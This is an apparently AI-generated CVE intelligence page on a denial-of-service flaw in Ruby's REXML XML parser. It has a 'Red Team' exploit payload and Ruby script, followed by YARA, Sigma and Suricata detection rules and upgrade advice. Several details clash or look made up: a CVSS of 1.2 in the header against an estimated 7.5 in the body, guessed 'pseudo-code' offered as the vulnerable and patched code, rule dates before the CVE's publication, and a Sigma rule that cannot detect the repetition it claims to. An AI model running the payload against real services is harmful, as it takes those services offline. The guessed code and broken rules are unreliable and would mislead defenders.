☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 1.2 🐛 CWE-400
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-58767

CVE-2025-58767 Supply Chain Attack in Ruby
📅 PUBLISHED: 2025-09-17 17:45 UTC 🔄 UPDATED: 2026-09-23 20:37 UTC
[ OFFICIAL PATCH DEPLOYED ↓ ] FIX: CONFIRMED — 3+ independent sources confirm fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.25%
👁️
0.25% probability
6.2× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
Patch available — upgrade to latest release
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
1.2
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-58767 is a denial-of-service (DoS) vulnerability in the REXML XML parsing library for Ruby. The flaw affects REXML gem versions 3.3.3 through 3.4.1. An attacker can exploit this vulnerability by providing a specially crafted XML document containing multiple XML declarations, causing the parser to consume excessive resources and potentially leading to a denial of service. The vulnerability is patched in REXML gem version 3.4.2.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects the Ruby ecosystem via the REXML gem, a core library for XML parsing. Organizations using Ruby applications that parse untrusted XML input are at risk. The gem is widely used in Ruby on Rails applications and other Ruby-based services. The supply chain risk is moderate, as the vulnerability is patched in a minor version update. However, unpatched systems remain vulnerable to DoS attacks.

CVSS Breakdown & Threat Level

The CVSS score is not provided in the NVD data. However, based on the vulnerability description, a reasonable assessment is:

  • Attack Vector (AV): Network (N) – The vulnerability can be triggered remotely by sending a malicious XML document.
  • Attack Complexity (AC): Low (L) – No special conditions are required to exploit.
  • Privileges Required (PR): None (N) – No authentication is needed.
  • User Interaction (UI): None (N) – The victim does not need to perform any action beyond parsing the XML.
  • Scope (S): Unchanged (U) – The impact is confined to the vulnerable component.
  • Confidentiality (C): None (N) – No data is exposed.
  • Integrity (I): None (N) – No data is modified.
  • Availability (A): High (H) – The service can be rendered unavailable.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Estimated Base Score: 7.5 (High)

Threat Level: High – The vulnerability is remotely exploitable with low complexity and no authentication, leading to a denial of service.

Deep Dive & Mechanics

The vulnerability resides in the REXML gem's XML parsing logic. When the parser encounters an XML document with multiple XML declarations (e.g., <?xml version="1.0"?> appearing more than once), it fails to handle this edge case correctly. Instead of rejecting the malformed input or processing it efficiently, the parser enters a resource-intensive loop or allocates excessive memory, leading to a denial of service.

The root cause is a lack of input validation for the number of XML declarations. The parser should only allow one declaration at the beginning of the document. By providing multiple declarations, an attacker can cause the parser to repeatedly process them, consuming CPU and memory resources.

Vulnerable vs. Patched Code

Vulnerable Code (REXML gem < 3.4.2):

The vulnerable code likely resides in the XML declaration parsing routine. The parser does not check for multiple declarations and processes each one, leading to resource exhaustion.

# Vulnerable pseudo-code
def parse_xml_declaration
  while @source.match(/<\?xml/)
    # Process declaration
    process_declaration
  end
end

Patched Code (REXML gem 3.4.2):

The patched version adds a check to ensure only one XML declaration is allowed. If multiple declarations are found, the parser raises an error or stops processing.

# Patched pseudo-code
def parse_xml_declaration
  if @source.match(/<\?xml/)
    process_declaration
    # Check for additional declarations
    if @source.match(/<\?xml/)
      raise "Multiple XML declarations not allowed"
    end
  end
end

Exploitation & Lab Setup

Red Team

Objective: Trigger a denial of service on a Ruby application using REXML to parse XML.

Lab Setup:

  1. Set up a Ruby environment with REXML gem version 3.3.3 to 3.4.1.
  2. Create a simple Ruby script that parses XML input.

Exploit Payload:

<?xml version="1.0"?>
<?xml version="1.0"?>
<?xml version="1.0"?>
<?xml version="1.0"?>
<?xml version="1.0"?>
<?xml version="1.0"?>
<?xml version="1.0"?>
<?xml version="1.0"?>
<?xml version="1.0"?>
<?xml version="1.0"?>
<root>
  <element>test</element>
</root>

Exploit Script:

# exploit.rb
require 'rexml/document'

malicious_xml = <<~XML
<?xml version="1.0"?>
<?xml version="1.0"?>
<?xml version="1.0"?>
<?xml version="1.0"?>
<?xml version="1.0"?>
<?xml version="1.0"?>
<?xml version="1.0"?>
<?xml version="1.0"?>
<?xml version="1.0"?>
<?xml version="1.0"?>
<root>
  <element>test</element>
</root>
XML

begin
  doc = REXML::Document.new(malicious_xml)
rescue => e
  puts "Error: #{e.message}"
end

Execution:

ruby exploit.rb

Expected Outcome: The Ruby process will consume high CPU/memory and may become unresponsive.

Blue Team

Detection:

  • Monitor for XML documents with multiple <?xml declarations.
  • Use network-based detection to inspect XML payloads for anomalies.
  • Implement rate limiting on XML parsing endpoints.

Mitigation:

  • Upgrade REXML gem to version 3.4.2 or later.
  • Validate XML input before parsing (e.g., reject documents with multiple declarations).
  • Use a Web Application Firewall (WAF) to filter malicious XML payloads.

Indicators of Compromise (IOCs)

  • Network: XML documents containing multiple <?xml declarations.
  • System: High CPU usage by Ruby processes parsing XML.
  • Logs: Error messages related to XML parsing failures or timeouts.
  • File: Malicious XML files with repeated <?xml version="1.0"?> lines.

Detection Engineering

YARA Rule

rule CVE_2025_58767_REXML_DoS {
    meta:
        description = "Detects XML files with multiple XML declarations targeting REXML DoS"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-58767"
    strings:
        $xml_decl = /<\?xml\s+version=["']1\.0["']\s*\?>/ nocase
    condition:
        #xml_decl > 1
}

Sigma Rule

title: Multiple XML Declarations in Request Body
id: 8f4a3b2c-1d5e-6f7a-8b9c-0d1e2f3a4b5c
status: experimental
description: Detects HTTP requests with multiple XML declarations in the body, indicating CVE-2025-58767 exploitation attempt
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-58767
logsource:
    category: webserver
    product: generic
detection:
    selection:
        body|contains|all:
            - '<?xml version="1.0"?>'
            - '<?xml version="1.0"?>'  # At least two occurrences
    condition: selection
falsepositives:
    - Legitimate XML with multiple declarations (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-58767 REXML DoS Attempt - Multiple XML Declarations"; flow:to_server; content:"<?xml version=\"1.0\"?>"; distance:0; within:1024; content:"<?xml version=\"1.0\"?>"; distance:0; within:1024; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Upgrade the REXML gem to version 3.4.2 or later:
    gem update rexml
    
  2. If immediate upgrade is not possible, implement input validation to reject XML documents with multiple declarations.
  3. Apply rate limiting to endpoints that parse XML.

Long-term Measures:

  • Regularly update dependencies using tools like bundler-audit or dependabot.
  • Implement a Web Application Firewall (WAF) to filter malicious payloads.
  • Monitor for unusual resource consumption in Ruby applications.

Workaround:

  • Use an alternative XML parser (e.g., Nokogiri) if REXML cannot be updated immediately.

Valters IT signature: This report is generated by Valters IT DevSecOps AI Assistant. For further analysis, contact Valters IT.

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-58767/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.